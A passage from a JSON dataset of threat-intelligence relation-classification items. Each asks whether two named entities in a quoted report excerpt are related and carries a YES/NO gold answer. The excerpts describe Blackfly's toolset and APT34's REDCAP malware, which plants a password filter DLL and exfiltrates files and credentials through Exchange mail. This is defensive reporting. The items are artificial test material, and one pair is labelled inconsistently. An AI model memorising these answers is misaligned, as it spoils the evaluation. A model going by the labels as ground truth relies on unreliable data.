88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4\nSHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1\nThis tool requires a file called conf.dat to run properly, located at: c:\\users\\public\\conf.dat. Conf.dat contains the configuration to set up proxy settings.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nProcess-hollowing tool\n### Target Entity: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284\n### Text Passage:\nCurrent Blackfly toolset\nThe following tools were used in attacks during late 2022 and early 2023:\n* **Backdoor.Winnkit**\nSHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459\nSHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a\nSHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596\nSHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac\nSHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196\nSHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284\nRootkit driver known to be associated with Blackfly\n* **Credential-dumping tool**\nSHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c\nCreates a dump of credentials from lsass.exe in C:\\windows\\temp\\1.bin.\n* **Screenshotting tool**\nSHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4\nScreenshots all open windows and saves them as .jpg files.\n* **Process-hollowing tool**\nSHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e\nInjects shellcode in C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple \"Hello World\" alert message.\n* **SQL tool**\nSHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d\nSQL client tool used to query SQL databases.\n* **Mimikatz**\nSHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c\nPublicly available credential-dumping tool.\n* **ForkPlayground**\nSHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864\nProof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.\n* **Proxy configuration tool**\nSHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f\nSHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee\nSHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f\nConfigures proxy settings by injecting into: C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted.\n* **Proxy configuration tool**\nSHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4\nSHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1\nThis tool requires a file called conf.dat to run properly, located at: c:\\users\\public\\conf.dat. Conf.dat contains the configuration to set up proxy settings.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMSIL.REDCAP.AD\n### Target Entity: APT34\n### Text Passage:\nOn December 2022, we identified a suspicious executable (detected by Trend Micro as Trojan.MSIL.REDCAP.AD) that was dropped and executed on multiple machines. Our investigation led us to link this attack to advanced persistent threat (APT) group APT34, and the main goal is to steal users\u2019 credentials. Even in case of a password reset or change, the malware is capable of sending the new credentials to the threat actors. Moreover, after analyzing the backdoor variant deployed, we found the malware capable of new exfiltration techniques \u2014 the abuse of compromised mailbox accounts to send stolen data from the internal mail boxes to external mail accounts controlled by the attackers. While not new as a technique, this is the first instance that APT34 used this for their campaign deployment. Following this analysis, it is highly likely that this campaign\u2019s routine is only a small part of a bigger chain of deployments. Users and organizations are strongly advised to reinforce their current security measures and to be vigilant of the possible vectors abused for compromise.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDevicesSrv.exe\n### Target Entity: MSIL.REDCAP.A\n### Text Passage:\nRoutine\nIn this section, we describe the attack infection flow and its respective stages, as well as share details on how the group uses emails to steal and exfiltrate critical information.\n**First Stage: Initial Droppers**\nFigure 1. Initial stage .Net droppers\nWe found the initial stage .Net dropper malware called _MrPerfectInstaller_ (detected by Trend Micro as Trojan.MSIL.REDCAP.AD) responsible for dropping four different files, with each component stored in a Base64 buffer inside the main dropper. It drops the following:\n1. %System%\\psgfilter.dll: The password filter dynamic link library (DLL) used to provide a way to implement the password policy and change notification\n2. %ProgramData%\\WindowsSoftwareDevices\\DevicesSrv.exe: The main .Net responsible for exfiltrating and leaking specific files dropped into the root path of this backdoor execution. This backdoor requires the .Net library implementing Microsoft Exchange webservices to authenticate with the victim mail server and exfiltrate through it.\n3. %ProgramData%\\WindowsSoftwareDevices\\Microsoft.Exchange.WebServices.dll: The library to support the second component\u2019s capability.\n4. %ProgramData%\\WindowsSoftwareDevices\\DevicesSrv.exe.config: An app configuration file for runtimes of the .Net execution environment. This allows the option of falling back to .Net 2.0.\nFigure 2. The four Base64 encoded buffers inside the main .Net dropper\nFigure 3. The four modules dropped by the main binary\nThe dropper also adds the following registry key to assist in implementing the password filter dropped earlier:\nHKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Lsa\nNotification Packages = scecli, psgfilter\nFigure 4. Adds the registry key\nThe main .Net binary implements two arguments for its operation: the first argument for installing the second stage, and the second argument for uninstalling it and unregistering the password filter dropped.\nFigure 5. Implementing two arguments for operation\nFigure 6. Function in case -u passed to dropper\nFigure 7. Function in case -i passed to dropper, installing the second stage, then uninstalling it and unregistering the password filter\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMSIL.REDCAP.A\n### Target Entity: Microsoft Exchange\n### Text Passage:\nRoutine\nIn this section, we describe the attack infection flow and its respective stages, as well as share details on how the group uses emails to steal and exfiltrate critical information.\n**First Stage: Initial Droppers**\nFigure 1. Initial stage .Net droppers\nWe found the initial stage .Net dropper malware called _MrPerfectInstaller_ (detected by Trend Micro as Trojan.MSIL.REDCAP.AD) responsible for dropping four different files, with each component stored in a Base64 buffer inside the main dropper. It drops the following:\n1. %System%\\psgfilter.dll: The password filter dynamic link library (DLL) used to provide a way to implement the password policy and change notification\n2. %ProgramData%\\WindowsSoftwareDevices\\DevicesSrv.exe: The main .Net responsible for exfiltrating and leaking specific files dropped into the root path of this backdoor execution. This backdoor requires the .Net library implementing Microsoft Exchange webservices to authenticate with the victim mail server and exfiltrate through it.\n3. %ProgramData%\\WindowsSoftwareDevices\\Microsoft.Exchange.WebServices.dll: The library to support the second component\u2019s capability.\n4. %ProgramData%\\WindowsSoftwareDevices\\DevicesSrv.exe.config: An app configuration file for runtimes of the .Net execution environment. This allows the option of falling back to .Net 2.0.\nFigure 2. The four Base64 encoded buffers inside the main .Net dropper\nFigure 3. The four modules dropped by the main binary\nThe dropper also adds the following registry key to assist in implementing the password filter dropped earlier:\nHKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Lsa\nNotification Packages = scecli, psgfilter\nFigure 4. Adds the registry key\nThe main .Net binary implements two arguments for its operation: the first argument for installing the second stage, and the second argument for uninstalling it and unregistering the password filter dropped.\nFigure 5. Implementing two arguments for operation\nFigure 6. Function in case -u passed to dropper\nFigure 7. Function in case -i passed to dropper, installing the second stage, then uninstalling it and unregistering the password filter\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMicrosoft.Exchange.WebServices.dll\n### Target Entity: MrPerfectInstaller\n### Text Passage:\nRoutine\nIn this section, we describe the attack infection flow and its respective stages, as well as share details on how the group uses emails to steal and exfiltrate critical information.\n**First Stage: Initial Droppers**\nFigure 1. Initial stage .Net droppers\nWe found the initial stage .Net dropper malware called _MrPerfectInstaller_ (detected by Trend Micro as Trojan.MSIL.REDCAP.AD) responsible for dropping four different files, with each component stored in a Base64 buffer inside the main dropper. It drops the following:\n1. %System%\\psgfilter.dll: The password filter dynamic link library (DLL) used to provide a way to implement the password policy and change notification\n2. %ProgramData%\\WindowsSoftwareDevices\\DevicesSrv.exe: The main .Net responsible for exfiltrating and leaking specific files dropped into the root path of this backdoor execution. This backdoor requires the .Net library implementing Microsoft Exchange webservices to authenticate with the victim mail server and exfiltrate through it.\n3. %ProgramData%\\WindowsSoftwareDevices\\Microsoft.Exchange.WebServices.dll: The library to support the second component\u2019s capability.\n4. %ProgramData%\\WindowsSoftwareDevices\\DevicesSrv.exe.config: An app configuration file for runtimes of the .Net execution environment. This allows the option of falling back to .Net 2.0.\nFigure 2. The four Base64 encoded buffers inside the main .Net dropper\nFigure 3. The four modules dropped by the main binary\nThe dropper also adds the following registry key to assist in implementing the password filter dropped earlier:\nHKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Lsa\nNotification Packages = scecli, psgfilter\nFigure 4. Adds the registry key\nThe main .Net binary implements two arguments for its operation: the first argument for installing the second stage, and the second argument for uninstalling it and unregistering the password filter dropped.\nFigure 5. Implementing two arguments for operation\nFigure 6. Function in case -u passed to dropper\nFigure 7. Function in case -i passed to dropper, installing the second stage, then uninstalling it and unregistering the password filter\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMrPerfectInstaller\n### Target Entity: .Net\n### Text Passage:\nRoutine\nIn this section, we describe the attack infection flow and its respective stages, as well as share details on how the group uses emails to steal and exfiltrate critical information.\n**First Stage: Initial Droppers**\nFigure 1. Initial stage .Net droppers\nWe found the initial stage .Net dropper malware called _MrPerfectInstaller_ (detected by Trend Micro as Trojan.MSIL.REDCAP.AD) responsible for dropping four different files, with each component stored in a Base64 buffer inside the main dropper. It drops the following:\n1. %System%\\psgfilter.dll: The password filter dynamic link library (DLL) used to provide a way to implement the password policy and change notification\n2. %ProgramData%\\WindowsSoftwareDevices\\DevicesSrv.exe: The main .Net responsible for exfiltrating and leaking specific files dropped into the root path of this backdoor execution. This backdoor requires the .Net library implementing Microsoft Exchange webservices to authenticate with the victim mail server and exfiltrate through it.\n3. %ProgramData%\\WindowsSoftwareDevices\\Microsoft.Exchange.WebServices.dll: The library to support the second component\u2019s capability.\n4. %ProgramData%\\WindowsSoftwareDevices\\DevicesSrv.exe.config: An app configuration file for runtimes of the .Net execution environment. This allows the option of falling back to .Net 2.0.\nFigure 2. The four Base64 encoded buffers inside the main .Net dropper\nFigure 3. The four modules dropped by the main binary\nThe dropper also adds the following registry key to assist in implementing the password filter dropped earlier:\nHKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Lsa\nNotification Packages = scecli, psgfilter\nFigure 4. Adds the registry key\nThe main .Net binary implements two arguments for its operation: the first argument for installing the second stage, and the second argument for uninstalling it and unregistering the password filter dropped.\nFigure 5. Implementing two arguments for operation\nFigure 6. Function in case -u passed to dropper\nFigure 7. Function in case -i passed to dropper, installing the second stage, then uninstalling it and unregistering the password filter\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMSIL.REDCAP.A\n### Target Entity: DevicesSrv.exe\n### Text Passage:\nRoutine\nIn this section, we describe the attack infection flow and its respective stages, as well as share details on how the group uses emails to steal and exfiltrate critical information.\n**First Stage: Initial Droppers**\nFigure 1. Initial stage .Net droppers\nWe found the initial stage .Net dropper malware called _MrPerfectInstaller_ (detected by Trend Micro as Trojan.MSIL.REDCAP.AD) responsible for dropping four different files, with each component stored in a Base64 buffer inside the main dropper. It drops the following:\n1. %System%\\psgfilter.dll: The password filter dynamic link library (DLL) used to provide a way to implement the password policy and change notification\n2. %ProgramData%\\WindowsSoftwareDevices\\DevicesSrv.exe: The main .Net responsible for exfiltrating and leaking specific files dropped into the root path of this backdoor execution. This backdoor requires the .Net library implementing Microsoft Exchange webservices to authenticate with the victim mail server and exfiltrate through it.\n3. %ProgramData%\\WindowsSoftwareDevices\\Microsoft.Exchange.WebServices.dll: The library to support the second component\u2019s capability.\n4. %ProgramData%\\WindowsSoftwareDevices\\DevicesSrv.exe.config: An app configuration file for runtimes of the .Net execution environment. This allows the option of falling back to .Net 2.0.\nFigure 2. The four Base64 encoded buffers inside the main .Net dropper\nFigure 3. The four modules dropped by the main binary\nThe dropper also adds the following registry key to assist in implementing the password filter dropped earlier:\nHKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Lsa\nNotification Packages = scecli, psgfilter\nFigure 4. Adds the registry key\nThe main .Net binary implements two arguments for its operation: the first argument for installing the second stage, and the second argument for uninstalling it and unregistering the password filter dropped.\nFigure 5. Implementing two arguments for operation\nFigure 6. Function in case -u passed to dropper\nFigure 7. Function in case -i passed to dropper, installing the second stage, then uninstalling it and unregistering the password filter\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMSIL.REDCAP.A\n### Target Entity: Microsoft Exchange\n### Text Passage:\n**Data Exfiltration Through Legitimate Mail Traffic**\nThe main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.\nFigure 10. High level overview of malware\u2019s data exfiltration routine\nFirst, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:\n* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.\n* Target: The email addresses where the malicious actors receive the exfiltrated data in.\n* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.\nHowever, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.\nFigure 11. Checking the config file path ngb\nThe malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.\nFigure 12. Initialize EWS binding to the victim mail server\nThe malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.\nFigure 13. Iterating through the files found under the target path\nThe final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject \u201cExchange Default Message\u201d, and a mail body content of \u201cExchange Server is testing services.\u201d The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.\nFigure 14. Exfiltrating files using mail attachments\nFigure 15. Some hardcoded targets in the sample\nFigure 16. How the Sent folder looks like for a compromised user\nAPT34 Targeting and Arsenal Evolution\nAPT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques \u2014 from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic \u2014 to bypass any security policies enforced on the network perimeters.\nFrom three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.\nFor instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.\nMoreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.\nBased on a 2019 report on APT34, the top countries targeted by the group are:\n* The United Arab Emirates\n* China\n* Jordan\n* Saudi Arabia\nWhile not at the top of the group\u2019s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMSIL.REDCAP.A\n### Target Entity: EWS\n### Text Passage:\n**Data Exfiltration Through Legitimate Mail Traffic**\nThe main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.\nFigure 10. High level overview of malware\u2019s data exfiltration routine\nFirst, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:\n* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.\n* Target: The email addresses where the malicious actors receive the exfiltrated data in.\n* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.\nHowever, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.\nFigure 11. Checking the config file path ngb\nThe malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.\nFigure 12. Initialize EWS binding to the victim mail server\nThe malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.\nFigure 13. Iterating through the files found under the target path\nThe final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject \u201cExchange Default Message\u201d, and a mail body content of \u201cExchange Server is testing services.\u201d The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.\nFigure 14. Exfiltrating files using mail attachments\nFigure 15. Some hardcoded targets in the sample\nFigure 16. How the Sent folder looks like for a compromised user\nAPT34 Targeting and Arsenal Evolution\nAPT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques \u2014 from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic \u2014 to bypass any security policies enforced on the network perimeters.\nFrom three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.\nFor instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.\nMoreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.\nBased on a 2019 report on APT34, the top countries targeted by the group are:\n* The United Arab Emirates\n* China\n* Jordan\n* Saudi Arabia\nWhile not at the top of the group\u2019s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT34\n### Target Entity: Middle East\n### Text Passage:\n**Data Exfiltration Through Legitimate Mail Traffic**\nThe main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.\nFigure 10. High level overview of malware\u2019s data exfiltration routine\nFirst, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:\n* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.\n* Target: The email addresses where the malicious actors receive the exfiltrated data in.\n* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.\nHowever, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.\nFigure 11. Checking the config file path ngb\nThe malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.\nFigure 12. Initialize EWS binding to the victim mail server\nThe malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.\nFigure 13. Iterating through the files found under the target path\nThe final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject \u201cExchange Default Message\u201d, and a mail body content of \u201cExchange Server is testing services.\u201d The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.\nFigure 14. Exfiltrating files using mail attachments\nFigure 15. Some hardcoded targets in the sample\nFigure 16. How the Sent folder looks like for a compromised user\nAPT34 Targeting and Arsenal Evolution\nAPT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques \u2014 from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic \u2014 to bypass any security policies enforced on the network perimeters.\nFrom three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.\nFor instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.\nMoreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.\nBased on a 2019 report on APT34, the top countries targeted by the group are:\n* The United Arab Emirates\n* China\n* Jordan\n* Saudi Arabia\nWhile not at the top of the group\u2019s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT34\n### Target Entity: China\n### Text Passage:\n**Data Exfiltration Through Legitimate Mail Traffic**\nThe main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.\nFigure 10. High level overview of malware\u2019s data exfiltration routine\nFirst, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:\n* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.\n* Target: The email addresses where the malicious actors receive the exfiltrated data in.\n* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.\nHowever, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.\nFigure 11. Checking the config file path ngb\nThe malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.\nFigure 12. Initialize EWS binding to the victim mail server\nThe malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.\nFigure 13. Iterating through the files found under the target path\nThe final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject \u201cExchange Default Message\u201d, and a mail body content of \u201cExchange Server is testing services.\u201d The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.\nFigure 14. Exfiltrating files using mail attachments\nFigure 15. Some hardcoded targets in the sample\nFigure 16. How the Sent folder looks like for a compromised user\nAPT34 Targeting and Arsenal Evolution\nAPT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques \u2014 from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic \u2014 to bypass any security policies enforced on the network perimeters.\nFrom three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.\nFor instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.\nMoreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.\nBased on a 2019 report on APT34, the top countries targeted by the group are:\n* The United Arab Emirates\n* China\n* Jordan\n* Saudi Arabia\nWhile not at the top of the group\u2019s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.\n", 